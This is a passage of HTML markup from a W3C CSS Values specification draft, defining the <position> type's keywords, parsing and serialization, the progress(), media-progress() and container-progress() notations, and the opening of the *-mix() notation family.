data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#x-axis" id="ref-for-x-axis">x</a> axis. <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-block-start">block-start</dfn> <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-block-end">block-end</dfn> <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-inline-start">inline-start</dfn> <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-inline-end">inline-end</dfn> <dd> Computes the same as the physical edge keyword corresponding to the <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#start" id="ref-for-start①">start</a>/<a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#end" id="ref-for-end①">end</a> side in the <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#block-axis" id="ref-for-block-axis①">block</a>/<a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#inline-axis" id="ref-for-inline-axis①">inline</a> axis. <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-center">center</dfn> <dd> Computes to a 50% offset in the corresponding axis. </dl> Unless otherwise specified, the <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#flow-relative" id="ref-for-flow-relative">flow-relative</a> keywords are resolved according to the <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#writing-mode" id="ref-for-writing-mode">writing mode</a> of the element on which the value is specified. Note: The <a class="property css" data-link-type="property" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-position" id="ref-for-propdef-background-position③">background-position</a> property also accepts a three-value syntax. This has been disallowed generically because it creates parsing ambiguities when combined with other length or percentage components in a property value. <a class="self-link" href="#issue-8e940682"></a> Need to define how this syntax would expand to the longhands of <a class="property css" data-link-type="property" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-position" id="ref-for-propdef-background-position④">background-position</a> if e.g. <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var②">var()</a> is used for some (or all) of the components. <a href="https://github.com/w3c/csswg-drafts/issues/9690">[Issue #9690]</a> <h4 class="heading settled" data-level="4.2.1" id="position-parsing">4.2.1. Parsing <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position⑤"><position></a><a class="self-link" href="#position-parsing"></a></h4> When specified in a grammar alongside other keywords, <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value①"><length></a>s, or <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value③"><percentage></a>s, <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position⑥"><position></a> is greedily parsed; it consumes as many components as possible. <div class="example" id="example-2622a7d7"><a class="self-link" href="#example-2622a7d7"></a> For example, <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform-origin" id="ref-for-propdef-transform-origin">transform-origin</a> defines a 3D position as (effectively) <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position⑦"><position></a> <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value②"><length></a>?. A value such as left 50px will be parsed as a 2-value <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position⑧"><position></a>, with an omitted z-component; on the other hand, a value such as top 50px will be parsed as a single-value <position> followed by a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value③"><length></a>. </div> <h4 class="heading settled" data-level="4.2.2" id="position-serialization">4.2.2. Serializing <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position①⓪"><position></a><a class="self-link" href="#position-serialization"></a></h4> When serializing the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#specified-value" id="ref-for-specified-value">specified value</a> of a <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position①①"><position></a>: <dl class="switch"> <dt>If only one component is specified: <dd> <ul> <li data-md> The implied <a class="css" data-link-type="value" href="https://www.w3.org/TR/css-backgrounds-3/#valdef-background-position-center" id="ref-for-valdef-background-position-center">center</a> keyword is added, and a 2-component value is serialized. </ul> <dt>If two components are specified: <dd> <ul> <li data-md> Keywords are serialized as keywords. <li data-md> <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage①④"><length-percentage></a>s are serialized as <length-percentage>s. <li data-md> Components are serialized horizontal first, then vertical. </ul> <dt>If four components are specified: <dd> <ul> <li data-md> Keywords and offsets are both serialized. <li data-md> Components are serialized horizontal first, then vertical; alternatively <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#block-axis" id="ref-for-block-axis②">block-axis</a> first, then <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#inline-axis" id="ref-for-inline-axis②">inline-axis</a>. </ul> </dl> Note: <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position①②"><position></a> values are never serialized as a single value, even when a single value would produce the same behavior, to avoid causing parsing ambiguities in some grammars where a <position> is placed next to a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value④"><length></a>, such as <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform-origin" id="ref-for-propdef-transform-origin①">transform-origin</a>. The <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value②">computed value</a> of a <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position①④"><position></a> is serialized as a pair of <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage①⑥"><length-percentage></a>s representing offsets from the left and top edges, in that order. <h4 class="heading settled" data-level="4.2.3" id="combine-positions">4.2.3. Combination of <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position①⑤"><position></a><a class="self-link" href="#combine-positions"></a></h4> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#interpolation" id="ref-for-interpolation">Interpolation</a> of <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position①⑥"><position></a> is defined as the independent interpolation of each component (x, y) normalized as an offset from the top left corner as a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage①⑦"><length-percentage></a>. <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#addition" id="ref-for-addition">Addition</a> of <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position①⑦"><position></a> is likewise defined as the independent addition each component (x, y) normalized as an offset from the top left corner as a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage①⑧"><length-percentage></a>. <h2 class="heading settled" data-level="5" id="progress">5. Interpolation Progress Functional Notations<a class="self-link" href="#progress"></a></h2> <a class="self-link" href="#issue-a8c048ec"></a> This section is an exploratory draft, and not yet approved by the CSSWG. <a href="https://github.com/w3c/csswg-drafts/issues/6245">[Issue #6245]</a> The <a class="css" data-link-type="maybe" href="#funcdef-progress" id="ref-for-funcdef-progress">progress()</a>, <a class="css" data-link-type="maybe" href="#funcdef-media-progress" id="ref-for-funcdef-media-progress">media-progress()</a>, and <a class="css" data-link-type="maybe" href="#funcdef-container-progress" id="ref-for-funcdef-container-progress">container-progress()</a> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation②">functional notations</a> represent the proportional distance of a given value (the <dfn class="dfn-paneled" data-dfn-type="dfn" data-noexport id="progress-value">progress value</dfn>) from one value (the <dfn class="dfn-paneled" data-dfn-type="dfn" data-noexport id="progress-start-value">progress start value</dfn>) to another value (the <dfn class="dfn-paneled" data-dfn-type="dfn" data-noexport id="progress-end-value">progress end value</dfn>). They allow drawing a progress ratio from <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#math-function" id="ref-for-math-function">math functions</a>, <a data-link-type="dfn" href="https://www.w3.org/TR/mediaqueries-5/#media-feature" id="ref-for-media-feature">media features</a>, and <a data-link-type="dfn" href="https://www.w3.org/TR/css-conditional-5/#container-feature" id="ref-for-container-feature">container features</a>, respectively, following a common syntactic pattern: <pre class="prod highlight"><var><c- nf>progress-function</c-></var><c- p>()</c-> = <var><c- nf>progress-function</c-></var><c- p>(</c-> <var>progress value</var> from <var>start value</var> to <var>end value</var> <c- p>)</c-> </pre> Each resolves to a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value①"><number></a> by <a data-link-type="dfn" href="#calculate-a-progress-function" id="ref-for-calculate-a-progress-function">calculating a progress function</a>. <div class="algorithm" data-algorithm="calculate a progress function"> To <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="calculate-a-progress-function">calculate a progress function</dfn>, given a <a data-link-type="dfn" href="#progress-value" id="ref-for-progress-value">progress value</a>, <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value">progress start value</a>, and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value">progress end value</a>: <dl> <dt data-md>If the <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value①">progress start value</a> and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value①">progress end value</a> are different values <dd data-md> <code class="highlight"><c- p>(</c-><a data-link-type="dfn" href="#progress-value" id="ref-for-progress-value①">progress value</a> - <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value②">progress start value</a><c- p>)</c-> / <c- p>(</c-><a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value②">progress end value</a> - progress start value<c- p>)</c-></code>. <dt data-md>If the <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value④">progress start value</a> and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value③">progress end value</a> are the same value <dd data-md> 0, -∞, or +∞, depending on whether <a data-link-type="dfn" href="#progress-value" id="ref-for-progress-value②">progress value</a> is equal to, less than, or greater than the shared value. </dl> Note: The return value is a plain <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value②"><number></a>, not <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-make-a-type-consistent" id="ref-for-css-make-a-type-consistent">made consistent</a> with its arguments by default. </div> The resulting number can then be input into other calculations, such as a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#math-function" id="ref-for-math-function①">math function</a> or a <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations">mix notation</a>. <h3 class="heading settled" data-level="5.1" id="progress-func">5.1. Calculated Progress Values: the <a class="css" data-link-type="maybe" href="#funcdef-progress" id="ref-for-funcdef-progress①">progress()</a> notation<a class="self-link" href="#progress-func"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-progress">progress()</dfn> functional notation returns a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value③"><number></a> value representing the position of one <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation">calculation</a> (the <a data-link-type="dfn" href="#progress-value" id="ref-for-progress-value③">progress value</a>) between two other calculations (the <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value⑤">progress start value</a> and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value④">progress end value</a>). <a class="css" data-link-type="maybe" href="#funcdef-progress" id="ref-for-funcdef-progress②">progress()</a> is a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#math-function" id="ref-for-math-function②">math function</a>. The syntax of <a class="css" data-link-type="maybe" href="#funcdef-progress" id="ref-for-funcdef-progress③">progress()</a> is defined as follows: <pre class="prod highlight"><dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-progress-fn"><a class="production" data-link-type="function" href="#funcdef-progress" id="ref-for-funcdef-progress④"><<c- nf>progress</c-><c- p>()</c->></a></dfn> = <c- nf>progress</c-><c- p>(</c-><a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum"><calc-sum></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum①"><calc-sum></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma①"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum②"><calc-sum></a><c- p>)</c-> </pre> where the first, second, and third <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum③"><calc-sum></a> values represent the <a data-link-type="dfn" href="#progress-value" id="ref-for-progress-value④">progress value</a>, <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value⑥">progress start value</a>, and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value⑤">progress end value</a>, respectively. The argument <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation②">calculations</a> can resolve to any <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value④"><number></a>, <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-dimension" id="ref-for-typedef-dimension"><dimension></a>, or <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value④"><percentage></a>, but must have a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-consistent-type" id="ref-for-css-consistent-type">consistent type</a> or else the function is invalid. The value of <a class="css" data-link-type="maybe" href="#funcdef-progress" id="ref-for-funcdef-progress⑤">progress()</a> is a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value⑤"><number></a>, determined by <a data-link-type="dfn" href="#calculate-a-progress-function" id="ref-for-calculate-a-progress-function①">calculating a progress function</a>, then <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-make-a-type-consistent" id="ref-for-css-make-a-type-consistent①">made consistent</a> with the <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-consistent-type" id="ref-for-css-consistent-type①">consistent type</a> of its arguments. <a class="self-link" href="#issue-997f0423"></a> Do we need a percent-progress() notation, or do enough places auto-convert that it’s not necessary? Note: The <a class="css" data-link-type="maybe" href="#funcdef-progress" id="ref-for-funcdef-progress⑥">progress()</a> function is essentially syntactic sugar for a particular pattern of <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#funcdef-calc" id="ref-for-funcdef-calc">calc()</a> notations, so it’s a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#math-function" id="ref-for-math-function③">math function</a>. <h3 class="heading settled" data-level="5.2" id="media-progress-func">5.2. Media Query Progress Values: the <a class="css" data-link-type="maybe" href="#funcdef-media-progress" id="ref-for-funcdef-media-progress①">media-progress()</a> notation<a class="self-link" href="#media-progress-func"></a></h3> Similar to the <a class="css" data-link-type="maybe" href="#funcdef-progress" id="ref-for-funcdef-progress⑦">progress()</a> notation, the <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-media-progress">media-progress()</dfn> functional notation returns a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value⑥"><number></a> value representing current value of the specified <a data-link-type="dfn" href="https://www.w3.org/TR/mediaqueries-5/#media-query" id="ref-for-media-query①">media query</a> <a data-link-type="biblio" href="#biblio-mediaqueries-4" title="Media Queries Level 4">[MEDIAQUERIES-4]</a> as a <a data-link-type="dfn" href="#progress-value" id="ref-for-progress-value⑤">progress value</a> between two explicit values of the media query (as the <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value⑦">progress start value</a> and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value⑥">progress end value</a>). The syntax of <a class="css" data-link-type="maybe" href="#funcdef-media-progress" id="ref-for-funcdef-media-progress②">media-progress()</a> is defined as follows: <pre class="prod highlight"><dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-media-progress"><a class="production" data-link-type="function" href="#funcdef-media-progress" id="ref-for-funcdef-media-progress③"><<c- nf>media-progress</c-><c- p>()</c->></a></dfn> = <c- nf>media-progress</c-><c- p>(</c-><a class="production" data-link-type="type" href="https://www.w3.org/TR/mediaqueries-5/#typedef-mf-name" id="ref-for-typedef-mf-name"><mf-name></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma②"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum④"><calc-sum></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma③"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum⑤"><calc-sum></a><c- p>)</c-> </pre> where the value of the <a data-link-type="dfn" href="https://www.w3.org/TR/mediaqueries-5/#media-feature" id="ref-for-media-feature①">media feature</a> corresponding to <a class="production css" data-link-type="type" href="https://www.w3.org/TR/mediaqueries-5/#typedef-mf-name" id="ref-for-typedef-mf-name①"><mf-name></a> represents the <a data-link-type="dfn" href="#progress-value" id="ref-for-progress-value⑥">progress value</a>, and the two <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum⑥"><calc-sum></a> values represent the <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value⑧">progress start value</a> and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value⑦">progress end value</a>, respectively. The specified <a data-link-type="dfn" href="https://www.w3.org/TR/mediaqueries-5/#media-feature" id="ref-for-media-feature②">media feature</a> must be a valid “range” type feature, the specified <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value⑨">progress start value</a> and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value⑧">progress end value</a> must be valid values for the specified <a data-link-type="dfn" href="https://www.w3.org/TR/mediaqueries-5/#media-query" id="ref-for-media-query③">media query</a>, and both <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation③">calculation</a> values must have a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-consistent-type" id="ref-for-css-consistent-type②">consistent type</a>, or else the function is invalid. The <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value①⓪">progress start value</a> and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value⑨">progress end value</a> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation④">calculations</a> are interpreted as specified for the <a data-link-type="dfn" href="https://www.w3.org/TR/mediaqueries-5/#media-feature" id="ref-for-media-feature③">media feature</a> (rather than as specified by the context the function is used in). The value of <a class="css" data-link-type="maybe" href="#funcdef-media-progress" id="ref-for-funcdef-media-progress④">media-progress()</a> is a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value⑦"><number></a>, determined by <a data-link-type="dfn" href="#calculate-a-progress-function" id="ref-for-calculate-a-progress-function②">calculating a progress function</a>. Note: <a class="css" data-link-type="maybe" href="#funcdef-media-progress" id="ref-for-funcdef-media-progress⑤">media-progress()</a> is not a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#math-function" id="ref-for-math-function④">math function</a>; it’s just a function that evaluates to a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value⑧"><number></a>. <h3 class="heading settled" data-level="5.3" id="container-progress-func">5.3. Container Query Progress Values: the <a class="css" data-link-type="maybe" href="#funcdef-container-progress" id="ref-for-funcdef-container-progress①">container-progress()</a> notation<a class="self-link" href="#container-progress-func"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-container-progress">container-progress()</dfn> functional notation is identical to the <a class="css" data-link-type="maybe" href="#funcdef-media-progress" id="ref-for-funcdef-media-progress⑥">media-progress()</a> functional notation, except that it accepts <a data-link-type="dfn" href="https://www.w3.org/TR/css-conditional-5/#container-feature" id="ref-for-container-feature①">container features</a> <a data-link-type="biblio" href="#biblio-css-contain-3" title="CSS Containment Module Level 3">[CSS-CONTAIN-3]</a> in place of <a data-link-type="dfn" href="https://www.w3.org/TR/mediaqueries-5/#media-feature" id="ref-for-media-feature④">media features</a>. The syntax of <a class="css" data-link-type="maybe" href="#funcdef-container-progress" id="ref-for-funcdef-container-progress②">container-progress()</a> is defined as follows: <pre class="prod highlight"><dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-container-progress"><a class="production" data-link-type="function" href="#funcdef-container-progress" id="ref-for-funcdef-container-progress③"><<c- nf>container-progress</c-><c- p>()</c->></a></dfn> = <c- nf>container-progress</c-><c- p>(</c-><a class="production" data-link-type="type" href="https://www.w3.org/TR/mediaqueries-5/#typedef-mf-name" id="ref-for-typedef-mf-name②"><mf-name></a> <c- p>[</c-> of <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-conditional-5/#typedef-container-name" id="ref-for-typedef-container-name"><container-name></a> <c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt①">?</a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma④"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum⑦"><calc-sum></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma⑤"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum⑧"><calc-sum></a><c- p>)</c-> </pre> where <a class="production css" data-link-type="type" href="https://www.w3.org/TR/mediaqueries-5/#typedef-mf-name" id="ref-for-typedef-mf-name③"><mf-name></a> represents a <a data-link-type="dfn" href="https://www.w3.org/TR/css-conditional-5/#size-features" id="ref-for-size-features">size feature</a> and the optional <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-conditional-5/#typedef-container-name" id="ref-for-typedef-container-name①"><container-name></a> component specifies the named containers to consider when selecting a container to resolve them against. The value of the size feature is the <a data-link-type="dfn" href="#progress-value" id="ref-for-progress-value⑦">progress value</a>, and the two <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum⑨"><calc-sum></a> values represent the <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value①①">progress start value</a> and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value①⓪">progress end value</a>, respectively. The specified <a class="production css" data-link-type="type" href="https://www.w3.org/TR/mediaqueries-5/#typedef-mf-name" id="ref-for-typedef-mf-name④"><mf-name></a> must be a valid <a data-link-type="dfn" href="https://www.w3.org/TR/css-conditional-5/#size-features" id="ref-for-size-features②">size feature</a>, the specified <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value①②">progress start value</a> and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value①①">progress end value</a> must be valid values for that size feature, and both <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation⑤">calculation</a> values must have a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-consistent-type" id="ref-for-css-consistent-type③">consistent type</a>, or else the function is invalid. <a class="css" data-link-type="maybe" href="#funcdef-container-progress" id="ref-for-funcdef-container-progress④">container-progress()</a> is only valid in a property value context; it cannot be used in, for example, a <a data-link-type="dfn" href="https://www.w3.org/TR/mediaqueries-5/#media-query" id="ref-for-media-query④">media query</a>. The <a data-link-type="dfn" href="#progress-start-value" id="ref-for-progress-start-value①③">progress start value</a> and <a data-link-type="dfn" href="#progress-end-value" id="ref-for-progress-end-value①②">progress end value</a> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation⑥">calculations</a> are interpreted as specified for the <a data-link-type="dfn" href="https://www.w3.org/TR/css-conditional-5/#size-features" id="ref-for-size-features④">size feature</a> (rather than as specified by the context the function is used in). If no appropriate containers are found, <a class="css" data-link-type="maybe" href="#funcdef-container-progress" id="ref-for-funcdef-container-progress⑤">container-progress()</a> resolves its <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-conditional-5/#typedef-size-feature" id="ref-for-typedef-size-feature"><size-feature></a> query against the <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#small-viewport-size" id="ref-for-small-viewport-size">small viewport size</a>. The value of <a class="css" data-link-type="maybe" href="#funcdef-media-progress" id="ref-for-funcdef-media-progress⑦">media-progress()</a> is a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value⑨"><number></a>, determined by <a data-link-type="dfn" href="#calculate-a-progress-function" id="ref-for-calculate-a-progress-function③">calculating a progress function</a>. Note: <a class="css" data-link-type="maybe" href="#funcdef-container-progress" id="ref-for-funcdef-container-progress⑥">container-progress()</a> is not a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#math-function" id="ref-for-math-function⑤">math function</a>; it’s just a function that evaluates to a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value①⓪"><number></a>. <h2 class="heading settled" data-level="6" id="mixing">6. Mixing and Interpolation Notations: the *-mix() family<a class="self-link" href="#mixing"></a></h2> <a class="self-link" href="#issue-3bcda989"></a> This feature <a href="https://css.typetura.com/ruleset-interpolation/explainer/">does not handle multiple breakpoints very well</a>, and <a href="https://github.com/w3c/csswg-drafts/issues/6245#issuecomment-2469190377">might need to be redesigned</a>. <a href="https://github.com/w3c/csswg-drafts/issues/6245">[Issue #6245]</a> Several <dfn class="dfn-paneled" data-dfn-type="dfn" data-noexport id="mix-notations">mix notations</dfn> in CSS allow representing the interpolation of two values, the <dfn class="dfn-paneled" data-dfn-type="dfn" data-noexport id="mix-start-value">mix start value</dfn> and the <dfn class="dfn-paneled" data-dfn-type="dfn" data-noexport id="mix-end-value">mix end value</dfn>, at a given point in progress between them (the <dfn class="dfn-paneled" data-dfn-type="dfn" data-noexport id="mix-progress-value">mix progress value</dfn>). These <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation③">functional notations</a> follow the syntactic pattern: <pre class="prod highlight"><var><c- nf>mix-function</c-></var><c- p>()</c-> = <var><c- nf>mix-function</c-></var><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress"><progress></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma⑥"><c- p>,</c-></a> <a data-link-type="dfn" href="#mix-start-value" id="ref-for-mix-start-value">start-value</a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma⑦"><c- p>,</c-></a> <a data-link-type="dfn" href="#mix-end-value" id="ref-for-mix-end-value">end-value</a> <c- p>)</c-> </pre> The <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations①">mix notations</a> in CSS include: <ul> <li data-md> <a class="css" data-link-type="maybe" href="#funcdef-calc-mix" id="ref-for-funcdef-calc-mix">calc-mix()</a>, for interpolating <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value⑤"><length></a>, <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value⑤"><percentage></a>, <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#time-value" id="ref-for-time-value"><time></a>, and other dimensions representable in <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#funcdef-calc" id="ref-for-funcdef-calc①">calc()</a> expressions <li data-md> <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-color-5/#funcdef-color-mix" id="ref-for-funcdef-color-mix">color-mix()</a>, for interpolating two <a class="production css" data-link-type="type" href="https://www.w3.org/TR/CSS21/syndata.html#value-def-color" id="ref-for-value-def-color①"><color></a> values <li data-md> <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-images-4/#funcdef-cross-fade" id="ref-for-funcdef-cross-fade">cross-fade()</a>, for interpolating <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-images-3/#typedef-image" id="ref-for-typedef-image"><image></a> values <li data-md> <a class="css" data-link-type="maybe" href="https://drafts.csswg.org/css-fonts-4/#funcdef-palette-mix" id="ref-for-funcdef-palette-mix">palette-mix()</a>, for interpolating two <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-fonts-4/#propdef-font-palette" id="ref-for-propdef-font-palette">font-palette</a> values </ul> and finally the generic <a class="css" data-link-type="maybe" href="#funcdef-mix" id="ref-for-funcdef-mix①">mix()</a> notation, which can represent the interpolation of any property’s values (but only the 